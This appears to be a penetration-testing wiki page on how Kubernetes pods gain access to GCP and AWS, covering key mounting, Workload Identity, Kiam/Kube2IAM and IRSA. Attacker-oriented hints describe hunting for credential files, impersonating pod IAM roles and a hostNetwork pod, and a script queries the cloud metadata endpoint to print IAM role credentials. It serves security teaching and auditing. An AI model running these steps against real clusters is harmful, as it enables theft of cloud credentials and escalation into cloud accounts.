219 lines
9.9 KiB
Markdown
219 lines
9.9 KiB
Markdown
# Kubernetes Access to other Clouds
|
|
|
|
## GCP
|
|
|
|
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
|
|
|
|
### Mounting GCP-SA keys as secret
|
|
|
|
A common way to give **access to a kubernetes application to GCP** is to:
|
|
|
|
* Create a GCP Service Account
|
|
* Bind on it the desired permissions
|
|
* Download a json key of the created SA
|
|
* Mount it as a secret inside the pod 
|
|
* Set the GOOGLE\_APPLICATION\_CREDENTIALS environment variable pointing to the path where the json is.
|
|
|
|
{% hint style="warning" %}
|
|
Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
|
|
{% endhint %}
|
|
|
|
### GKE Workload Identity
|
|
|
|
With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
|
|
|
|
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
|
|
|
|
The **second steps** is to relate a K8s SA (KSA) with the GCP SA (GSA):
|
|
|
|
* Create the KSA (normally in the **annotations appear the email of the GSA**) and use it in the pod you would like to:
|
|
|
|
```yaml
|
|
# serviceAccount.yaml
|
|
apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
annotations:
|
|
iam.gke.io/gcp-service-account: $GSA-NAME@PROJECT-ID.iam.gserviceaccount.com
|
|
name: $APPNAME
|
|
namespace: $NAMESPACE
|
|
```
|
|
|
|
* Create the KSA - GSA Binding:
|
|
|
|
```bash
|
|
gcloud iam service-accounts \
|
|
--role roles/iam.workloadIdentityUser \
|
|
--member "serviceAccount:PROJECT-ID.svc.id.goog[$NAMESPACE/$KSA-NAME]" \
|
|
$GSA-NAME@PROJECT-ID.iam.gserviceaccount.com
|
|
```
|
|
|
|
Note how you are creating a binding and in the **member field you can find the namespace and KSA name**.
|
|
|
|
{% hint style="warning" %}
|
|
As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
|
|
From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
|
|
{% endhint %}
|
|
|
|
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
|
|
|
|
```bash
|
|
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
|
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
|
echo "Pod: $ns/$pod"
|
|
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
|
|
echo ""
|
|
echo ""
|
|
done
|
|
done | grep -B 1 "gcp-service-account"
|
|
```
|
|
|
|
## AWS
|
|
|
|
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
|
|
|
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
|
|
|
|
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
|
|
|
|
{% code title="Kiam" %}
|
|
```yaml
|
|
kind: Namespace
|
|
metadata:
|
|
name: iam-example
|
|
annotations:
|
|
iam.amazonaws.com/permitted: ".*"
|
|
```
|
|
{% endcode %}
|
|
|
|
{% code title="Kube2iam" %}
|
|
```yaml
|
|
apiVersion: v1
|
|
kind: Namespace
|
|
metadata:
|
|
annotations:
|
|
iam.amazonaws.com/allowed-roles: |
|
|
["role-arn"]
|
|
name: default
|
|
```
|
|
{% endcode %}
|
|
|
|
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
|
|
|
|
{% code title="Kiam & Kube2iam" %}
|
|
```yaml
|
|
kind: Pod
|
|
metadata:
|
|
name: foo
|
|
namespace: external-id-example
|
|
annotations:
|
|
iam.amazonaws.com/role: reportingdb-reader
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="warning" %}
|
|
As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
|
|
{% endhint %}
|
|
|
|
#### Create Pod with IAM Role
|
|
|
|
{% hint style="info" %}
|
|
The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
|
|
{% endhint %}
|
|
|
|
```yaml
|
|
echo 'apiVersion: v1
|
|
kind: Pod
|
|
metadata:
|
|
annotations:
|
|
iam.amazonaws.com/role: transaction-metadata
|
|
name: alpine
|
|
namespace: eevee
|
|
spec:
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ["/bin/sh"]
|
|
args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
|
```
|
|
|
|
### Workflow of IAM role for Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
|
|
|
This is the recommended way by AWS.
|
|
|
|
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
|
2. Then you create an IAM role with the permissions the SA will require.
|
|
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts-technical-overview.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
|
|
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
|
|
|
(You can find an example of this configuration [here](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/))
|
|
|
|
```yaml
|
|
apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
annotations:
|
|
eks.amazonaws.com/role-arn: arn:aws-cn:iam::ACCOUNT_ID:role/IAM_ROLE_NAME
|
|
```
|
|
|
|
{% hint style="warning" %}
|
|
As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
|
|
|
|
Moreover, if you are inside a pod, check for env variables like **AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN.**
|
|
|
|
****
|
|
{% endhint %}
|
|
|
|
### Find Pods a SAs with IAM Roles in the Cluster
|
|
|
|
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
|
|
|
|
```bash
|
|
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
|
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
|
echo "Pod: $ns/$pod"
|
|
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
|
|
echo ""
|
|
echo ""
|
|
done
|
|
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
|
echo "SA: $ns/$sa"
|
|
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
|
|
echo ""
|
|
echo ""
|
|
done
|
|
done | grep -B 1 "amazonaws.com"
|
|
```
|
|
|
|
### Node IAM Role
|
|
|
|
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
|
|
|
|
There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
|
|
|
|
```bash
|
|
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
|
```
|
|
|
|
### Steal IAM Role Token
|
|
|
|
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
|
|
|
|
You can use the following script to **steal** your new hard worked **IAM role credentials**:
|
|
|
|
```bash
|
|
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
|
if [ "$IAM_ROLE_NAME" ]; then
|
|
echo "IAM Role discovered: $IAM_ROLE_NAME"
|
|
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
|
|
echo "Credentials:"
|
|
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
|
|
fi
|
|
fi
|
|
```
|
|
|
|
## References
|
|
|
|
* [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
|
* [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
|